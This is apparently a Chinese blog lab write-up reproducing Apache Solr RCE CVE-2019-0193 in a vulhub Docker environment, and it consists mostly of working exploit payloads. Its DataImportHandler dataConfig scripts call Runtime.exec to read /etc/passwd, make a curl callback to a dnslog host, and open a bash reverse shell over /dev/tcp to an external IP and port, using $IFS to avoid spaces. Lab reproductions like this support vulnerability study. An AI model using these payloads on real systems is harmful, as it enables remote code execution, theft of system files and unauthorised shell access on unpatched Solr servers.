Apache Solr RCE(CVE-2019-0193)--vulhub

Apache Solr RCE(CVE-2019-0193)

其原理主要基于Solr的DataImportHandler(数据导入处理器)模块,这个模块允许用户通过配置文件(dataConfig)来定义数据的导入过程,在dataConfig中,用户可以定义JavaScript函数来转换或处理数据。如果这些脚本没有得到适当的限制,攻击者可以利用这一点执行任意代码。

Apache Solr版本小于8.2.0

docker搭建需要额外一步

bash 复制代码
docker compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db  -force

漏洞复现

原始poc

复制代码
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/ccc9wy");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

实现不了,更新了,但文件没创建

RCE

先在本机搭一个poc.xml

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<RDF>
<item/>
</RDF>

调整一下poc

复制代码
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(row){ 
            var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cat /etc/passwd").getInputStream()));
            var result = [];
            while(true) {
              var oneline = bufReader.readLine();
              result.push( oneline );
              if(!oneline) break; 
            }
            row.put("title",result.join("\n\r")); 
            return row;
          }
  ]]></script>
  <document>
    <entity name="whatever"
            url="http://192.168.1.250/poc.xml"
            processor="XPathEntityProcessor"
            forEach="/RDF/item"
            transformer="script:poc" />
  </document>
</dataConfig>

抓个包查看一下,执行poc时抓包

放到重发器中可以看到命令执行结果

使用dnslog测试

复制代码
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(row){ 
            var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("curl n6xis3.dnslog.cn").getInputStream()));
            var result = [];
            while(true) {
              var oneline = bufReader.readLine();
              result.push( oneline );
              if(!oneline) break; 
            }
            row.put("title",result.join("\n\r")); 
            return row;
          }
  ]]></script>
  <document>
    <entity name="whatever"
            url="http://192.168.1.250/poc.xml"
            processor="XPathEntityProcessor"
            forEach="/RDF/item"
            transformer="script:poc" />
  </document>
</dataConfig>

执行后成功收到结果

反弹shell

bash 复制代码
/bin/bash -c bash$IFS$9-i>&/dev/tcp/192.168.200.131/6666<&1

完整poc

复制代码
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(row){ 
            var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("/bin/bash -c bash$IFS$9-i>&/dev/tcp/192.168.200.131/6666<&1").getInputStream()));
            var result = [];
            while(true) {
              var oneline = bufReader.readLine();
              result.push( oneline );
              if(!oneline) break; 
            }
            row.put("title",result.join("\n\r")); 
            return row;
          }
  ]]></script>
  <document>
    <entity name="whatever"
            url="http://192.168.1.250/poc.xml"
            processor="XPathEntityProcessor"
            forEach="/RDF/item"
            transformer="script:poc" />
  </document>
</dataConfig>

成功获取反弹shell

相关推荐
金丝猴也是猿3 小时前
如何在Flutter上实现高性能的动态模板渲染
websocket·网络协议·tcp/ip·http·网络安全·https·udp
swift开发pk OC开发3 小时前
Flutter性能优化细节
websocket·网络协议·tcp/ip·http·网络安全·https·udp
网络抓包与爬虫3 小时前
Flutter 环境搭建、常用指令、开发细节
websocket·网络协议·tcp/ip·http·网络安全·https·udp
半路_出家ren3 小时前
网络安全设备介绍:防火墙、堡垒机、入侵检测、入侵防御
安全·网络安全·负载均衡·堡垒机·防火墙·网络安全设备·上网行为管理
予安灵4 小时前
《白帽子讲 Web 安全》之服务端请求伪造(SSRF)深度剖析:从攻击到防御
前端·安全·web安全·网络安全·安全威胁分析·ssrf·服务端请求伪造
ccc_9wy4 小时前
玄机-第六章 流量特征分析-常见攻击事件 tomcat的测试报告
网络安全·tomcat·玄机靶场·攻击流程·溯源分析·定时任务反弹shell·gobuster
网络小白不怕黑6 小时前
网络安全中的“后门”:概念、类型、作用与攻防技术
网络安全
色的归属感6 小时前
Flutter完整开发实战详解(三、 打包与填坑篇)
websocket·网络协议·tcp/ip·http·网络安全·https·udp
故事与他6458 小时前
TBKDVR硬盘录像机device.rsp命令执行漏洞
服务器·网络·数据库·安全·网络安全·apache
色的归属感10 小时前
wireshark抓包分析数据怎么看 wireshark使用教程_wireshark怎么看
websocket·网络协议·tcp/ip·http·网络安全·https·udp